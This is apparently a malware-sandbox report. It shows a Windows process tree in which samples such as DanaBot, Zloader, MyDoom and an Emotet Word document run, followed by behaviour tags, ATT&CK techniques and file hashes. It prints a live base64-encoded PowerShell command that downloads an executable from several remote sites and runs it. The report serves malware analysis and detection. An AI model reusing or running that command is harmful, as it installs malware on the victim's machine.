  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4856,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3644,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:14
  2⤵
  PID:6092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5108,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:14
  2⤵
  PID:5108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5084,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:14
  2⤵
  PID:5704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5940,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
  2⤵
  PID:2348
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1132
    3⤵
    PID:1888
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5948,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:14
  2⤵
  PID:800
- C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5948,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:14
  2⤵
  PID:912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6292,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
  2⤵
  PID:392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --field-trial-handle=6484,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:1
  2⤵
  PID:5768
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=6024,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:1
  2⤵
  PID:4952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=6712,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6760 /prefetch:1
  2⤵
  PID:900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=6916,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6960 /prefetch:1
  2⤵
  PID:2388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3972,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7104 /prefetch:14
  2⤵
  PID:6140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7136,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7144 /prefetch:14
  2⤵
  PID:6136
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6884,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6488 /prefetch:14
  2⤵
  PID:4548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=6036,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:1
  2⤵
  PID:1568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7092,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7164 /prefetch:14
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7336,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7368 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:436
- C:\Users\Admin\Downloads\DanaBot.exe
  "C:\Users\Admin\Downloads\DanaBot.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6004
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6004 -s 296
    3⤵
    - Program crash
    PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=6956,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7328 /prefetch:1
  2⤵
  PID:1416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7484,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:14
  2⤵
  - NTFS ADS
  PID:4956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7044,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7708 /prefetch:14
  2⤵
  PID:1104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7236,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7220 /prefetch:14
  2⤵
  PID:5600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=5304,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7888 /prefetch:1
  2⤵
  PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7884,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=2816 /prefetch:14
  2⤵
  - NTFS ADS
  PID:1600
- C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Downloads\Zloader.xlsm"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3296
- - C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
    "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 4516
    3⤵
    - Process spawned suspicious child process
    PID:6368
  - - C:\Windows\system32\dwwin.exe
      C:\Windows\system32\dwwin.exe -x -s 4516
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of AdjustPrivilegeToken
      PID:6404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7408,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7116 /prefetch:14
  2⤵
  PID:4760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --field-trial-handle=7972,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:1
  2⤵
  PID:6948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7432,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7688 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:6960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7656,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7424 /prefetch:14
  2⤵
  PID:6992
- C:\Users\Admin\Downloads\MyPics.a.exe
  "C:\Users\Admin\Downloads\MyPics.a.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --field-trial-handle=7692,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7096 /prefetch:1
  2⤵
  PID:5720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7716,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7264 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:5852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=7188,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7476 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Users\Admin\Downloads\MyDoom.A.exe
  "C:\Users\Admin\Downloads\MyDoom.A.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  PID:3300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6964,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7164 /prefetch:14
  2⤵
  PID:6120
- C:\Users\Admin\Downloads\MyDoom.A.exe
  "C:\Users\Admin\Downloads\MyDoom.A.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  PID:5544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --field-trial-handle=5600,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:1
  2⤵
  PID:5412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8188,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:3944
- C:\Users\Admin\Downloads\Pikachu.exe
  "C:\Users\Admin\Downloads\Pikachu.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:6464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6344,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7904 /prefetch:14
  2⤵
  PID:5664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --field-trial-handle=7304,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7896 /prefetch:1
  2⤵
  PID:244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7944,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=6928 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:1416
- C:\Users\Admin\Downloads\Prolin.exe
  "C:\Users\Admin\Downloads\Prolin.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - NTFS ADS
  - Suspicious use of SetWindowsHookEx
  PID:6700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --field-trial-handle=4788,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7976 /prefetch:1
  2⤵
  PID:6824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4708,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7292 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:6876
- C:\Users\Admin\Downloads\Windows-KB2670838.msu.exe
  "C:\Users\Admin\Downloads\Windows-KB2670838.msu.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:7084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7364,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=7292 /prefetch:14
  2⤵
  PID:6968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7420,i,16147632570055717784,4097184119409746219,262144 --variations-seed-version --mojo-platform-channel-handle=8056 /prefetch:14
  2⤵
  PID:6096

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4960

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:1124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6004 -ip 6004
1⤵
PID:4232

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5252

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Temp1_Emotet.zip\[email protected]" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:424
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:5456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco JABqAHIARgBoAEEAMAA9ACcAVwBmADEAcgBIAHoAJwA7ACQAdQBVAE0ATQBMAEkAIAA9ACAAJwAyADgANAAnADsAJABpAEIAdABqADQAOQBOAD0AJwBUAGgATQBxAFcAOABzADAAJwA7ACQARgB3AGMAQQBKAHMANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdQBVAE0ATQBMAEkAKwAnAC4AZQB4AGUAJwA7ACQAUwA5AEcAegBSAHMAdABNAD0AJwBFAEYAQwB3AG4AbABHAHoAJwA7ACQAdQA4AFUAQQByADMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAEIAQwBsAEkARQBuAHQAOwAkAHAATABqAEIAcQBJAE4ARQA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAbwBjAGsAYwBoAGEAaQBuAGoAbwBiAGwAaQBzAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADAAMQA0ADAAOAAwAC8AQABoAHQAdABwAHMAOgAvAC8AdwBvAG0AZQBuAGUAbQBwAG8AdwBlAHIAbQBlAG4AdABwAGEAawBpAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHAAYQBiAGEANQBxADUAMgAvAEAAaAB0AHQAcABzADoALwAvAGEAdABuAGkAbQBhAG4AdgBpAGwAbABhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMAA3ADMANwAzADUALwBAAGgAdAB0AHAAcwA6AC8ALwB5AGUAdQBxAHUAeQBuAGgAbgBoAGEAaQAuAGMAbwBtAC8AdQBwAGwAbwBhAGQALwA0ADEAOAAzADAALwBAAGgAdAB0AHAAcwA6AC8ALwBkAGUAZQBwAGkAawBhAHIAYQBpAC4AYwBvAG0ALwBqAHMALwA0AGIAegBzADYALwAnAC4AIgBzAFAATABgAGkAVAAiACgAJwBAACcAKQA7ACQAbAA0AHMASgBsAG8ARwB3AD0AJwB6AEkAUwBqAEUAbQBpAFAAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAMwBoAEUAUABNAE0AWgAgAGkAbgAgACQAcABMAGoAQgBxAEkATgBFACkAewB0AHIAeQB7ACQAdQA4AFUAQQByADMALgAiAEQATwB3AGAATgBgAGwATwBhAEQAZgBpAGAATABlACIAKAAkAFYAMwBoAEUAUABNAE0AWgAsACAAJABGAHcAYwBBAEoAcwA2ACkAOwAkAEkAdgBIAEgAdwBSAGkAYgA9ACcAcwA1AFQAcwBfAGkAUAA4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQARgB3AGMAQQBKAHMANgApAC4AIgBMAGUATgBgAGcAVABoACIAIAAtAGcAZQAgADIAMwA5ADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYABBAHIAVAAiACgAJABGAHcAYwBBAEoAcwA2ACkAOwAkAHoARABOAHMAOAB3AGkAPQAnAEYAMwBXAHcAbwAwACcAOwBiAHIAZQBhAGsAOwAkAFQAVABKAHAAdABYAEIAPQAnAGkAagBsAFcAaABDAHoAUAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AFoAegBpAF8AdQBBAHAAPQAnAGEARQBCAHQAcABqADQAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.9\protocols.json

Filesize
3KB

MD5
f9fd82b572ef4ce41a3d1075acc52d22

SHA1
fdded5eef95391be440cc15f84ded0480c0141e3

SHA256
5f21978e992a53ebd9c138cb5391c481def7769e3525c586a8a94f276b3cd8d6

SHA512
17084cc74462310a608355fbeafa8b51f295fb5fd067dfc641e752e69b1ee4ffba0e9eafa263aab67daab780b9b6be370dd3b54dd4ba8426ab499e50ff5c7339

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.1.15\autofill_bypass_cache_forms.json

Filesize
175B

MD5
8060c129d08468ed3f3f3d09f13540ce

SHA1
f979419a76d5abfc89007d91f35412420aeae611

SHA256
b32bfdb89e35959aaf3e61ae58d0be1da94a12b6667e281c9567295efdd92f92

SHA512
